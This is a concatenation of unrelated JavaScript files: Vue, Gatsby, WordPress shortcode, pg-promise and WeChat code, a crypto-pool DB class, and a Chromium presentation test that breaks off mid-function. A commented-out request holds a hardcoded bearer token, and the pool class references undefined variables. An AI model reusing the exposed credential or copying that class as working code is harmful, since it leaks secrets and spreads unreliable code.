import Index from './components/Form.vue'
import List from './components/List.vue'
var App = Vue.extend({})
var router = new VueRouter()
router.map({
'/': {
name: 'index',
component: Index
},
'list': {
name: "list",
component: List
},
})
router.start(App, '#app')
/*
$( "#shroomForm" ).on("submit", function( event ) {
event.preventDefault();
var self = $( this )
var inputs = self.serializeArray()
var inputNames = _.pluck(inputs, "name")
var inputValues = _.pluck(inputs, "value")
console.log(inputNames)
console.log(inputValues)
console.log(self.serialize())
$.post({
url: "http://shrooms-api.app/api/v1/mushrooms",
type: "POST",
data: self.serialize(),
success: function(data) {
console.log("success")
},
error: function() {
console.log("error")
}
});
/!*$.post({
url: self.attr("action"),
type: "POST",
headers: {
//"Authorization": "Bearer Yl4cUQUWRQfUgDfPP2ehUViWopaO9asYx+ed0sLBIxJvXKNQoaZimRs/w2lTe0o46ClCLsCX63znF8GOZ1K2Vg==",
"Content-Type": "application/json"
},
beforeSend: function (xhr){
xhr.setRequestHeader('Authorization',
"Bearer Yl4cUQUWRQfUgDfPP2ehUViWopaO9asYx+ed0sLBIxJvXKNQoaZimRs/w2lTe0o46ClCLsCX63znF8GOZ1K2Vg==");
},
data: {
"Inputs": {
"input1": {
"ColumnNames": inputNames,
"Values": [
inputValues
]
}
},
"GlobalParameters": {}
},
success: function(data) {
console.log("success")
},
error: function() {
console.log("error")
}
});*!/
});*/
|
import consts from 'consts/const_global';
import Serialization from "common/utils/Serialization";
import BufferExtended from 'common/utils/BufferExtended';
import InterfaceSatoshminDB from 'common/satoshmindb/Interface-SatoshminDB';
import ServerPoolDataPool from "./Server-Pool-Data-Pool";
const uuid = require('uuid');
class ServerPoolData {
constructor(poolManagement, databaseName) {
this.poolManagement = poolManagement;
this._db = new InterfaceSatoshminDB(databaseName ? databaseName : consts.DATABASE_NAMES.SERVER_POOL_DATABASE);
this.pools = [];
}
getPool(poolAddress, returnPos = false){
for (let i = 0; i < this.pools.length; ++i)
if (this.pools[i].address.equals( poolAddress ))
return returnPos ? i : this.pools[i];
return returnPos ? -1 : null;
}
/**
* Insert a new miner if not exists. Synchronizes with DB.
* @param minerAddress
* @param minerReward
* @returns true/false
*/
async addPool(poolAddress, poolReward = 0){
if (this.getPool(poolAddress) === null) {
if ( !Buffer.isBuffer(poolAddress) || poolAddress.length !== consts.ADDRESSES.ADDRESS.LENGTH )
throw {message: "pool address is invalid" };
this.miners.push( new PoolDataMiner( uuid.v4(), poolAddress, poolReward, [] ) );
return (await this.saveServerPoolsList());
}
return false; //miner already exists
}
/**
* Remove a miner if exists. Synchronizes with DB.
* @param minerAddress
* @returns true/false
*/
async removePool(poolAddress){
let pos = this.getPool(poolAddress, true);
if (pos === -1) return false; //miner doesn't exists
this.pools[pos] = this.pools[this.pools.length - 1];
this.pools.pop();
}
_serializeServerPools() {
let list = [ Serialization.serializeNumber4Bytes(this.pools.length) ];
for (let i = 0; i < this.pools.length; ++i)
list.push( this.pools[i].serializeServerPoolData() );
return Buffer.concat(list);
}
_deserializeServerPools(buffer, offset = 0) {
try {
let numPools = Serialization.deserializeNumber( BufferExtended.substr( buffer, offset, 4 ) );
offset += 4;
this.miners = [];
for (let i = 0; i < numPools; ++i) {
let miner = new ServerPoolDataPool(0, undefined, []);
offset = miner.deserializeServerPoolData( buffer, offset );
}
return true;
} catch (exception){
console.log("Error deserialize minersList. ", exception);
throw exception;
}
}
/**
* Load miners from database
* @returns {boolean} true is success, otherwise false
*/
async loadServerPoolsList() {
try{
let buffer = await this._db.get("ServersPoolList", 60000, true);
if (buffer === null) return true; //nothing to load
let response = this._deserializeServerPools(buffer);
if (response !== true){
console.log('Unable to load poolsList from DB');
return false;
}
return true;
}
catch (exception){
console.log('ERROR loading miners from BD: ', exception);
return false;
}
}
/**
* Save miners to database
* @returns {boolean} true is success, otherwise false
*/
async saveServerPoolsList() {
try{
let buffer = this._serializeServerPools();
let response = await this._db.save("ServersPoolList", buffer);
if (response !== true) {
console.log('Unable to save poolsList to DB');
return false;
}
return true;
}
catch (exception){
Log.log('ERROR saving pools in DB: ', exception);
return false;
}
}
}
export default ServerPoolData;
|
import React from 'react'
import { graphql } from 'gatsby'
import { Helmet } from 'react-helmet'
import get from 'lodash/get'
import Img from 'gatsby-image'
import Layout from '../components/layout'
import { UncontrolledCarousel } from 'reactstrap';
import Navigation from '../components/navigation'
import styles from '../pages/contact.module.css'
class Contact extends React.Component {
render() {
const [author] = get(this, 'props.data.allContentfulPerson.edges')
const shows = get(this, 'props.data.allContentfulShow.edges')
const siteTitle = get(this.props, 'data.site.siteMetadata.title')
return (
<Layout location={this.props.location}>
<Navigation fixed="top" data={author.node} shows={shows}/>
<div className={styles.contact}>
<Helmet title={siteTitle} />
<div>Contact me at Liam.P.Corley@sewanee.edu</div>
</div>
</Layout>
)
}
}
export default Contact
export const pageQuery = graphql`
query Contact {
site {
siteMetadata {
title
}
}
allContentfulPerson(
filter: { contentful_id: { eq: "15jwOBqpxqSAOy2eOO4S0m" } }
) {
edges {
node {
name
shortBio {
shortBio
}
title
}
}
}
allContentfulShow(sort: { fields: [createdAt], order: DESC }) {
edges{
node {
title
showCredits
createdAt
images {
fluid{
src
}
}
}
}
}
}
`
|
/**
* Module constants.
* @constant
* @private
*/
const URL_PROTOCOL_SP = '//';
const PATH_SP = '/';
const HOST_PORT_SP = ':';
/**
* Module exports.
* Client Request rewriting rules for the proxy's request
* @public
* @returns {object}
*/
module.exports = {
locationHeader: (headers, response) => {
if (headers.location) {
let splited = headers.location.split(URL_PROTOCOL_SP);
let pathIndex = splited[1].indexOf(PATH_SP);
headers.location = splited[0] + URL_PROTOCOL_SP + response.global.host + HOST_PORT_SP + response.global.port + splited[1].substring(pathIndex);
}
}
}
|
// @flow
import { PureComponent } from "react";
// Les Types Generic de Flow à la rescousse!
// Array utilise les Types Generic:
const myStrings: Array<string> = ["s1", "s2"];
// Component aussi:
class myComponent extends PureComponent<{}, {}> {};
// Comment ça marche?
type MyType<T> = T;
const a: MyType<string> = "Ceci est une string";
const b: MyType<number> = "Ceci est n'est pas un number";
// Des trucs plus fou:
type Text = string;
type Sheet = Array<Array<string>>;
type Slides = Array<{| title: string, body: string |}>;
type Document<T = Text> = {
title: string,
content: T,
};
const textDoc: Document<> = {
title: "test",
content: "awsome text...",
};
const sheetDoc: Document<Sheet> = {
title: "test",
content: [["r1c1", "r1c2"], ["r2c1"], ["r3c1"]],
};
const slideDoc: Document<Slides> = {
title: "test",
content: [
{ title: "slide1", body: "content1" },
{ title: "slide2", body: "content2" },
],
};
function getContent<T>(document: Document<T>): T {
return document.content;
}
getContent<Text>(sheetDoc); // 👍 pas un document text
getContent<Text>(textDoc); // 👍
getContent<Sheet>(sheetDoc).map(e => e); // 👍
|
/**
* The default storyWeight
* @type {Number}
*/
export const storyWeight = 1000;
/**
* Compare 2 stories and sort them
* @return {Number}
*/
export const storySort = ([storyIdA, storyA], [storyIdB, storyB]) => {
// do not sort stories from the same kind
if (storyA.kind === storyB.kind) return 0;
// use parameters.storyWeight
if (storyA.parameters.storyWeight !== storyB.parameters.storyWeight) {
return storyA.parameters.storyWeight - storyB.parameters.storyWeight;
}
// use alphabet
return storyIdA.localeCompare(storyIdB, { numeric: true });
};
|
const bcrypt = require('bcryptjs');
const crypto = require('crypto');
const Enums = require('../models/Enums');
const StaticFunctions = require('../utilities/staticFunctions');
class UserRequestProcessor{
static getRawRequestUser(req, res){
let user = {
userId: req.body.userId,
usersName: req.body.usersName,
userEmail: req.body.userEmail,
userPassword: (StaticFunctions.isNotEmpty(req.body.userPassword)) ? bcrypt.hashSync(req.body.userPassword, 10) : null,
isAdmin: req.body.user_admin === 'on'
};
return user;
}
static getRawRequestUserId(req, res){
return req.body.userId;
}
}
module.exports = UserRequestProcessor;
|
/*
Ext.Deferred adapted from:
[DeftJS](https://github.com/deftjs/deftjs5)
Copyright (c) 2012-2013 [DeftJS Framework Contributors](http://deftjs.org)
Open source under the [MIT License](http://en.wikipedia.org/wiki/MIT_License).
when(), all(), any(), some(), map(), reduce(), delay() and timeout()
sequence(), parallel(), pipeline()
methods adapted from: [when.js](https://github.com/cujojs/when)
Copyright (c) B Cavalier & J Hann
Open source under the [MIT License](http://en.wikipedia.org/wiki/MIT_License).
*/
/**
* @class Ext.Deferred
* @extend Ext.promise.Deferred
*
* Deferreds are the mechanism used to create new Promises. A Deferred has a single
* associated Promise that can be safely returned to external consumers to ensure they do
* not interfere with the resolution or rejection of the deferred operation.
*
* This implementation of Promises is an extension of the ECMAScript 6 Promises API as
* detailed [here][1]. For a compatible, though less full featured, API see `{@link Ext.Promise}`.
*
* A Deferred is typically used within the body of a function that performs an asynchronous
* operation. When that operation succeeds, the Deferred should be resolved; if that
* operation fails, the Deferred should be rejected.
*
* Each Deferred has an associated Promise. A Promise delegates `then` calls to its
* Deferred's `then` method. In this way, access to Deferred operations are divided between
* producer (Deferred) and consumer (Promise) roles.
*
* ## Basic Usage
*
* In it's most common form, a method will create and return a Promise like this:
*
* // A method in a service class which uses a Store and returns a Promise
* //
* loadCompanies: function () {
* var deferred = new Ext.Deferred(); // create the Ext.Deferred object
*
* this.companyStore.load({
* callback: function (records, operation, success) {
* if (success) {
* // Use "deferred" to drive the promise:
* deferred.resolve(records);
* }
* else {
* // Use "deferred" to drive the promise:
* deferred.reject("Error loading Companies.");
* }
* }
* });
*
* return deferred.promise; // return the Promise to the caller
* }
*
* You can see this method first creates a `{@link Ext.Deferred Deferred}` object. It then
* returns its `Promise` object for use by the caller. Finally, in the asynchronous
* callback, it resolves the `deferred` object if the call was successful, and rejects the
* `deferred` if the call failed.
*
* When a Deferred's `resolve` method is called, it fulfills with the optionally specified
* value. If `resolve` is called with a then-able (i.e.a Function or Object with a `then`
* function, such as another Promise) it assimilates the then-able's result; the Deferred
* provides its own `resolve` and `reject` methods as the onFulfilled or onRejected
* arguments in a call to that then-able's `then` function. If an error is thrown while
* calling the then-able's `then` function (prior to any call back to the specified
* `resolve` or `reject` methods), the Deferred rejects with that error. If a Deferred's
* `resolve` method is called with its own Promise, it rejects with a TypeError.
*
* When a Deferred's `reject` method is called, it rejects with the optionally specified
* reason.
*
* Each time a Deferred's `then` method is called, it captures a pair of optional
* onFulfilled and onRejected callbacks and returns a Promise of the Deferred's future
* value as transformed by those callbacks.
*
* See `{@link Ext.promise.Promise}` for an example of using the returned Promise.
*
* @since 6.0.0
*/
|
// equivalent to require from node.js
require.cache = {};
require.httpRequest = function(url) {
var xhr = new XMLHttpRequest();
xhr.open('GET', url, false); // sync
xhr.send();
if ( xhr.status < 200 || xhr.status >= 300 )
throw new Error( xhr.statusText );
return xhr.responseText;
}
require.extensions = {
'.js': function(module, url) {
var responseText = require.httpRequest(url);
try {
Function('exports', 'require', 'module', responseText).call(module.exports, module.exports, module.require, module);
} catch (err) {
throw new Error( 'Error loading module '+url+': '+err );
}
}
}
function require(url) {
var exports = require.cache[url];
if ( !exports ) {
var filenamePos = url.lastIndexOf('/')+1;
var extDotPos = url.indexOf('.', filenamePos);
var extension = extDotPos !== -1 ? url.substr(extDotPos) : '.js';
function childModuleRequire(childUrl) {
var isRelative = childUrl.substr(0,2) === './' || childUrl.substr(0,3) === '../';
return require((isRelative ? url.substr(0, filenamePos) : '') + childUrl);
}
childModuleRequire.cache = require.cache;
exports = {};
var module = { id: url, exports: exports, require:childModuleRequire };
require.extensions[extension](module, url);
require.cache[module.id] = exports = module.exports;
}
return exports;
}
|
'use babel';
import UniqueFileId from '../lib/unique-file-id';
// Use the command `window:run-package-specs` (cmd-alt-ctrl-p) to run specs.
//
// To run a specific `it` or `describe` block add an `f` to the front (e.g. `fit`
// or `fdescribe`). Remove the `f` to unfocus the block.
describe('UniqueFileId', () => {
let workspaceElement, activationPromise;
beforeEach(() => {
workspaceElement = atom.views.getView(atom.workspace);
activationPromise = atom.packages.activatePackage('unique-file-id');
});
describe('when the unique-file-id:toggle event is triggered', () => {
it('hides and shows the modal panel', () => {
// Before the activation event the view is not on the DOM, and no panel
// has been created
expect(workspaceElement.querySelector('.unique-file-id')).not.toExist();
// This is an activation event, triggering it will cause the package to be
// activated.
atom.commands.dispatch(workspaceElement, 'unique-file-id:toggle');
waitsForPromise(() => {
return activationPromise;
});
runs(() => {
expect(workspaceElement.querySelector('.unique-file-id')).toExist();
let uniqueFileIdElement = workspaceElement.querySelector('.unique-file-id');
expect(uniqueFileIdElement).toExist();
let uniqueFileIdPanel = atom.workspace.panelForItem(uniqueFileIdElement);
expect(uniqueFileIdPanel.isVisible()).toBe(true);
atom.commands.dispatch(workspaceElement, 'unique-file-id:toggle');
expect(uniqueFileIdPanel.isVisible()).toBe(false);
});
});
it('hides and shows the view', () => {
// This test shows you an integration test testing at the view level.
// Attaching the workspaceElement to the DOM is required to allow the
// `toBeVisible()` matchers to work. Anything testing visibility or focus
// requires that the workspaceElement is on the DOM. Tests that attach the
// workspaceElement to the DOM are generally slower than those off DOM.
jasmine.attachToDOM(workspaceElement);
expect(workspaceElement.querySelector('.unique-file-id')).not.toExist();
// This is an activation event, triggering it causes the package to be
// activated.
atom.commands.dispatch(workspaceElement, 'unique-file-id:toggle');
waitsForPromise(() => {
return activationPromise;
});
runs(() => {
// Now we can test for view visibility
let uniqueFileIdElement = workspaceElement.querySelector('.unique-file-id');
expect(uniqueFileIdElement).toBeVisible();
atom.commands.dispatch(workspaceElement, 'unique-file-id:toggle');
expect(uniqueFileIdElement).not.toBeVisible();
});
});
});
});
|
// Utility functions for parsing and handling shortcodes in JavaScript.
// Ensure the global `wp` object exists.
window.wp = window.wp || {};
(function(){
wp.shortcode = {
// ### Find the next matching shortcode
//
// Given a shortcode `tag`, a block of `text`, and an optional starting
// `index`, returns the next matching shortcode or `undefined`.
//
// Shortcodes are formatted as an object that contains the match
// `content`, the matching `index`, and the parsed `shortcode` object.
next: function( tag, text, index ) {
var re = wp.shortcode.regexp( tag ),
match, result;
re.lastIndex = index || 0;
match = re.exec( text );
if ( ! match ) {
return;
}
// If we matched an escaped shortcode, try again.
if ( '[' === match[1] && ']' === match[7] ) {
return wp.shortcode.next( tag, text, re.lastIndex );
}
result = {
index: match.index,
content: match[0],
shortcode: wp.shortcode.fromMatch( match )
};
// If we matched a leading `[`, strip it from the match
// and increment the index accordingly.
if ( match[1] ) {
result.content = result.content.slice( 1 );
result.index++;
}
// If we matched a trailing `]`, strip it from the match.
if ( match[7] ) {
result.content = result.content.slice( 0, -1 );
}
return result;
},
// ### Replace matching shortcodes in a block of text
//
// Accepts a shortcode `tag`, content `text` to scan, and a `callback`
// to process the shortcode matches and return a replacement string.
// Returns the `text` with all shortcodes replaced.
//
// Shortcode matches are objects that contain the shortcode `tag`,
// a shortcode `attrs` object, the `content` between shortcode tags,
// and a boolean flag to indicate if the match was a `single` tag.
replace: function( tag, text, callback ) {
return text.replace( wp.shortcode.regexp( tag ), function( match, left, tag, attrs, slash, content, closing, right ) {
// If both extra brackets exist, the shortcode has been
// properly escaped.
if ( left === '[' && right === ']' ) {
return match;
}
// Create the match object and pass it through the callback.
var result = callback( wp.shortcode.fromMatch( arguments ) );
// Make sure to return any of the extra brackets if they
// weren't used to escape the shortcode.
return result ? left + result + right : match;
});
},
// ### Generate a string from shortcode parameters
//
// Creates a `wp.shortcode` instance and returns a string.
//
// Accepts the same `options` as the `wp.shortcode()` constructor,
// containing a `tag` string, a string or object of `attrs`, a boolean
// indicating whether to format the shortcode using a `single` tag, and a
// `content` string.
string: function( options ) {
return new wp.shortcode( options ).string();
},
// ### Generate a RegExp to identify a shortcode
//
// The base regex is functionally equivalent to the one found in
// `get_shortcode_regex()` in `wp-includes/shortcodes.php`.
//
// Capture groups:
//
// 1. An extra `[` to allow for escaping shortcodes with double `[[]]`
// 2. The shortcode name
// 3. The shortcode argument list
// 4. The self closing `/`
// 5. The content of a shortcode when it wraps some content.
// 6. The closing tag.
// 7. An extra `]` to allow for escaping shortcodes with double `[[]]`
regexp: _.memoize( function( tag ) {
return new RegExp( '\\[(\\[?)(' + tag + ')(?![\\w-])([^\\]\\/]*(?:\\/(?!\\])[^\\]\\/]*)*?)(?:(\\/)\\]|\\](?:([^\\[]*(?:\\[(?!\\/\\2\\])[^\\[]*)*)(\\[\\/\\2\\]))?)(\\]?)', 'g' );
}),
// ### Parse shortcode attributes
//
// Shortcodes accept many types of attributes. These can chiefly be
// divided into named and numeric attributes:
//
// Named attributes are assigned on a key/value basis, while numeric
// attributes are treated as an array.
//
// Named attributes can be formatted as either `name="value"`,
// `name='value'`, or `name=value`. Numeric attributes can be formatted
// as `"value"` or just `value`.
attrs: _.memoize( function( text ) {
var named = {},
numeric = [],
pattern, match;
// This regular expression is reused from `shortcode_parse_atts()`
// in `wp-includes/shortcodes.php`.
//
// Capture groups:
//
// 1. An attribute name, that corresponds to...
// 2. a value in double quotes.
// 3. An attribute name, that corresponds to...
// 4. a value in single quotes.
// 5. An attribute name, that corresponds to...
// 6. an unquoted value.
// 7. A numeric attribute in double quotes.
// 8. An unquoted numeric attribute.
pattern = /([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*'([^']*)'(?:\s|$)|([\w-]+)\s*=\s*([^\s'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|(\S+)(?:\s|$)/g;
// Map zero-width spaces to actual spaces.
text = text.replace( /[\u00a0\u200b]/g, ' ' );
// Match and normalize attributes.
while ( (match = pattern.exec( text )) ) {
if ( match[1] ) {
named[ match[1].toLowerCase() ] = match[2];
} else if ( match[3] ) {
named[ match[3].toLowerCase() ] = match[4];
} else if ( match[5] ) {
named[ match[5].toLowerCase() ] = match[6];
} else if ( match[7] ) {
numeric.push( match[7] );
} else if ( match[8] ) {
numeric.push( match[8] );
}
}
return {
named: named,
numeric: numeric
};
}),
// ### Generate a Shortcode Object from a RegExp match
// Accepts a `match` object from calling `regexp.exec()` on a `RegExp`
// generated by `wp.shortcode.regexp()`. `match` can also be set to the
// `arguments` from a callback passed to `regexp.replace()`.
fromMatch: function( match ) {
var type;
if ( match[4] ) {
type = 'self-closing';
} else if ( match[6] ) {
type = 'closed';
} else {
type = 'single';
}
return new wp.shortcode({
tag: match[2],
attrs: match[3],
type: type,
content: match[5]
});
}
};
// Shortcode Objects
// -----------------
//
// Shortcode objects are generated automatically when using the main
// `wp.shortcode` methods: `next()`, `replace()`, and `string()`.
//
// To access a raw representation of a shortcode, pass an `options` object,
// containing a `tag` string, a string or object of `attrs`, a string
// indicating the `type` of the shortcode ('single', 'self-closing', or
// 'closed'), and a `content` string.
wp.shortcode = _.extend( function( options ) {
_.extend( this, _.pick( options || {}, 'tag', 'attrs', 'type', 'content' ) );
var attrs = this.attrs;
// Ensure we have a correctly formatted `attrs` object.
this.attrs = {
named: {},
numeric: []
};
if ( ! attrs ) {
return;
}
// Parse a string of attributes.
if ( _.isString( attrs ) ) {
this.attrs = wp.shortcode.attrs( attrs );
// Identify a correctly formatted `attrs` object.
} else if ( _.isEqual( _.keys( attrs ), [ 'named', 'numeric' ] ) ) {
this.attrs = attrs;
// Handle a flat object of attributes.
} else {
_.each( options.attrs, function( value, key ) {
this.set( key, value );
}, this );
}
}, wp.shortcode );
_.extend( wp.shortcode.prototype, {
// ### Get a shortcode attribute
//
// Automatically detects whether `attr` is named or numeric and routes
// it accordingly.
get: function( attr ) {
return this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ];
},
// ### Set a shortcode attribute
//
// Automatically detects whether `attr` is named or numeric and routes
// it accordingly.
set: function( attr, value ) {
this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ] = value;
return this;
},
// ### Transform the shortcode match into a string
string: function() {
var text = '[' + this.tag;
_.each( this.attrs.numeric, function( value ) {
if ( /\s/.test( value ) ) {
text += ' "' + value + '"';
} else {
text += ' ' + value;
}
});
_.each( this.attrs.named, function( value, name ) {
text += ' ' + name + '="' + value + '"';
});
// If the tag is marked as `single` or `self-closing`, close the
// tag and ignore any additional content.
if ( 'single' === this.type ) {
return text + ']';
} else if ( 'self-closing' === this.type ) {
return text + ' /]';
}
// Complete the opening tag.
text += ']';
if ( this.content ) {
text += this.content;
}
// Add the closing tag.
return text + '[/' + this.tag + ']';
}
});
}());
// HTML utility functions
// ----------------------
//
// Experimental. These functions may change or be removed in the future.
(function(){
wp.html = _.extend( wp.html || {}, {
// ### Parse HTML attributes.
//
// Converts `content` to a set of parsed HTML attributes.
// Utilizes `wp.shortcode.attrs( content )`, which is a valid superset of
// the HTML attribute specification. Reformats the attributes into an
// object that contains the `attrs` with `key:value` mapping, and a record
// of the attributes that were entered using `empty` attribute syntax (i.e.
// with no value).
attrs: function( content ) {
var result, attrs;
// If `content` ends in a slash, strip it.
if ( '/' === content[ content.length - 1 ] ) {
content = content.slice( 0, -1 );
}
result = wp.shortcode.attrs( content );
attrs = result.named;
_.each( result.numeric, function( key ) {
if ( /\s/.test( key ) ) {
return;
}
attrs[ key ] = '';
});
return attrs;
},
// ### Convert an HTML-representation of an object to a string.
string: function( options ) {
var text = '<' + options.tag,
content = options.content || '';
_.each( options.attrs, function( value, attr ) {
text += ' ' + attr;
// Convert boolean values to strings.
if ( _.isBoolean( value ) ) {
value = value ? 'true' : 'false';
}
text += '="' + value + '"';
});
// Return the result if it is a self-closing tag.
if ( options.single ) {
return text + ' />';
}
// Complete the opening tag.
text += '>';
// If `content` is an object, recursively call this function.
text += _.isObject( content ) ? wp.html.string( content ) : content;
return text + '</' + options.tag + '>';
}
});
}());
|
import React from "react"
import { withRouter } from "react-router-dom"
import config from "../config"
import taskFormTypes from "../constants/taskFormTypes"
import taskFormUtils from "../utils/taskFormUtils"
import TaskForm from "./TaskForm"
import withFormSubmitter from "./withFormSubmitter"
const CreateTaskForm = props => (
<TaskForm {...props} taskFormType={taskFormTypes.create} />
)
export default withRouter(
withFormSubmitter({
getUrl: () => `${config.FLOTILLA_API}/task`,
httpMethod: "POST",
transformFormValues: taskFormUtils.transformFormValues,
onSuccess: (props, res) => {
props.history.push(`/tasks/${res.definition_id}`)
},
})(CreateTaskForm)
)
|
/*
* Copyright (c) 2015-present, Vitaly Tomilov
*
* See the LICENSE file at the top-level directory of this distribution
* for licensing information.
*
* Removal or modification of this copyright notice is prohibited.
*/
'use strict';
const assertOptions = require('assert-options');
/**
* @class PromiseAdapter
* @summary Adapter for the primary promise operations.
* @description
* Provides compatibility with promise libraries that cannot be recognized automatically,
* via functions that implement the primary operations with promises:
*
* - construct a new promise with a callback function
* - resolve a promise with some result data
* - reject a promise with a reason
* - resolve an array of promises
*
* The type is available from the library's root: `pgp.PromiseAdapter`.
*
* @param {object} api
* Promise API configuration object.
*
* Passing in anything other than an object will throw {@link external:TypeError TypeError} = `Adapter requires an api configuration object.`
*
* @param {function} api.create
* A function that takes a callback parameter and returns a new promise object.
* The callback parameter is expected to be `function(resolve, reject)`.
*
* Passing in anything other than a function will throw {@link external:TypeError TypeError} = `Function 'create' must be specified.`
*
* @param {function} api.resolve
* A function that takes an optional data parameter and resolves a promise with it.
*
* Passing in anything other than a function will throw {@link external:TypeError TypeError} = `Function 'resolve' must be specified.`
*
* @param {function} api.reject
* A function that takes an optional error parameter and rejects a promise with it.
*
* Passing in anything other than a function will throw {@link external:TypeError TypeError} = `Function 'reject' must be specified.`
*
* @param {function} api.all
* A function that resolves an array of promises.
*
* Passing in anything other than a function will throw {@link external:TypeError TypeError} = `Function 'all' must be specified.`
*
* @returns {PromiseAdapter}
*/
class PromiseAdapter {
constructor(api) {
if (!api || typeof api !== 'object') {
throw new TypeError('Adapter requires an api configuration object.');
}
api = assertOptions(api, ['create', 'resolve', 'reject', 'all']);
this.create = api.create;
this.resolve = api.resolve;
this.reject = api.reject;
this.all = api.all;
if (typeof this.create !== 'function') {
throw new TypeError('Function \'create\' must be specified.');
}
if (typeof this.resolve !== 'function') {
throw new TypeError('Function \'resolve\' must be specified.');
}
if (typeof this.reject !== 'function') {
throw new TypeError('Function \'reject\' must be specified.');
}
if (typeof this.all !== 'function') {
throw new TypeError('Function \'all\' must be specified.');
}
}
}
module.exports = PromiseAdapter;
|
const WXAPI = require('apifm-wxapi')
const CONFIG = require('../../config.js')
//获取应用实例
var app = getApp();
Page({
data: {
banners:[],
swiperMaxNumber: 0,
swiperCurrent: 0
},
onLoad:function(){
const _this = this
wx.setNavigationBarTitle({
title: wx.getStorageSync('mallName')
})
const app_show_pic_version = wx.getStorageSync('app_show_pic_version')
if (app_show_pic_version && app_show_pic_version == CONFIG.version) {
wx.redirectTo({
url: '/pages/shop/select',
});
} else {
// 展示启动页
WXAPI.banners({
type: 'app'
}).then(function (res) {
if (res.code == 700) {
wx.redirectTo({
url: '/pages/shop/select',
});
} else {
_this.setData({
banners: res.data,
swiperMaxNumber: res.data.length
});
}
}).catch(function (e) {
wx.redirectTo({
url: '/pages/shop/select',
});
})
}
},
onShow:function(){
},
swiperchange: function (e) {
//console.log(e.detail.current)
this.setData({
swiperCurrent: e.detail.current
})
},
goToIndex: function (e) {
if (app.globalData.isConnected) {
wx.setStorage({
key: 'app_show_pic_version',
data: CONFIG.version
})
wx.redirectTo({
url: '/pages/shop/select',
});
} else {
wx.showToast({
title: '当前无网络',
icon: 'none',
})
}
},
imgClick(){
if (this.data.swiperCurrent + 1 != this.data.swiperMaxNumber) {
wx.showToast({
title: '左滑进入',
icon: 'none',
})
}
}
});
|
/**
* Copyright 2015 The Chromium Authors. All rights reserved.
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*
* @fileoverview Common APIs for presentation integration tests.
*
*/
var startSessionPromise = null;
var startedConnection = null;
var reconnectedSession = null;
var presentationUrl = null;
let params = (new URL(window.location.href)).searchParams;
if (params.get('__is_android__') == 'true') {
// For android, "google.com/cast" is required in presentation URL.
// TODO(zqzhang): this requirement may be removed in the future.
presentationUrl = "https://google.com/cast#__castAppId__=CCCCCCCC/";
} else if (params.get('__oneUA__') == 'true') {
presentationUrl = "presentation_receiver.html";
} else if (params.get('__oneUANoReceiver__') == 'true') {
presentationUrl = "https://www.google.com";
} else {
presentationUrl = "test://test";
}
var startSessionRequest = new PresentationRequest([presentationUrl]);
var defaultRequestSessionId = null;
var lastExecutionResult = null;
var useDomAutomationController = !!window.domAutomationController;
window.navigator.presentation.defaultRequest = startSessionRequest;
window.navigator.presentation.defaultRequest.onconnectionavailable = function(e)
{
defaultRequestSessionId = e.connection.id;
};
/**
* Waits until one sink is available.
*/
function waitUntilDeviceAvailable() {
startSessionRequest.getAvailability(presentationUrl).then(
function(availability) {
console.log('availability ' + availability.value + '\n');
if (availability.value) {
sendResult(true, '');
} else {
availability.onchange = function(newAvailability) {
if (newAvailability)
sendResult(true, '');
}
}
}).catch(function(e) {
sendResult(false, 'got error: ' + e);
});
}
/**
* Starts session.
*/
function startSession() {
startSessionPromise = startSessionRequest.start();
console.log('start session');
sendResult(true, '');
}
/**
* Checks if the session has been started successfully.
*/
function checkSession() {
if (!startSessionPromise) {
sendResult(false, 'Did not attempt to start session');
} else {
startSessionPromise.then(function(session) {
if(!session) {
sendResult(false, 'Failed to start session: connection is null');
} else {
// set the new session
startedConnection = session;
waitForConnectedStateAndSendResult(startedConnection);
}
}).catch(function(e) {
// terminate old session if exists
startedConnection && startedConnection.terminate();
sendResult(false, 'Failed to start session: encountered exception ' + e);
})
}
}
/**
* Asserts the current state of the connection is 'connected' or 'connecting'.
* If the current state is connecting, waits for it to become 'connected'.
* @param {!PresentationConnection} connection
*/
function waitForConnectedStateAndSendResult(connection) {
console.log(`connection state is "${connection.state}"`);
if (connection.state == 'connected') {
sendResult(true, '');
} else if (connection.state == 'connecting') {
connection.onconnect = () => {
sendResult(true, '');
};
} else {
sendResult(false,
`Expect connection state to be "connecting" or "connected", actual: \
"${connection.state}"`);
}
}
/**
* Checks the start() request fails with expected error and message substring.
* @param {!string} expectedErrorName
* @param {!string} expectedErrorMessageSubstring
*/
function checkStartFailed(expectedErrorName, expectedErrorMessageSubstring) {
if (!startSessionPromise) {
sendResult(false, 'Did not attempt to start session');
} else {
startSessionPromise.then(function(session) {
sendResult(false, 'start() unexpectedly succeeded.');
}).catch(function(e) {
if (expectedErrorName != e.name) {
sendResult(false, 'Got unexpected error: ' + e.name);
} else if (e.message.indexOf(expectedErrorMessageSubstring) == -1) {
sendResult(false,
'Error message is not correct, it should contain "' +
expectedErrorMessageSubstring + '"');
} else {
sendResult(true, '');
}
})
}
}
/**
* Terminates current session.
*/
function terminateSessionAndWaitForStateChange() {
if (startedConnection) {
startedConnection.onterminate = function() {
sendResult(true, '');
};
startedConnection.terminate();
} else {
sendResult(false, 'startedConnection does not exist.');
}
}
/**
* Closes |startedConnection| and waits for its onclose event.
*/
function closeConnectionAndWaitForStateChange() {
if (startedConnection) {
if (startedConnection.state == 'closed') {
sendResult(false, 'startedConnection is unexpectedly closed.');
return;
}
startedConnection.onclose = function() {
sendResult(true, '');
};
startedConnection.close();
} else {
sendResult(false, 'startedConnection does not exist.');
}
}
/**
* Sends a message to |startedConnection| and expects InvalidStateError to be
* thrown. Requires |startedConnection.state| to not equal |initialState|.
*/
function checkSendMessageFailed(initialState) {
if (!startedConnection) {
sendResult(false, 'startedConnection does not exist.');
return;
}
if (startedConnection.state != initialState) {
sendResult(false, 'startedConnection.state is "' + startedConnection.state +
'", but we expected "' + initialState + '".');
return;
}
try {
startedConnection.send('test message');
} catch (e) {
if (e.name == 'InvalidStateError') {
sendResult(true, '');
} else {
sendResult(false, 'Got an unexpected error: ' + e.name);
}
}
sendResult(false, 'Expected InvalidStateError but it was never thrown.');
}
/**
* Sends a message, and expects the connection to close on error.
*/
function sendMessageAndExpectConnectionCloseOnError() {
if (!startedConnection) {
sendResult(false, 'startedConnection does not exist.');
return;
}
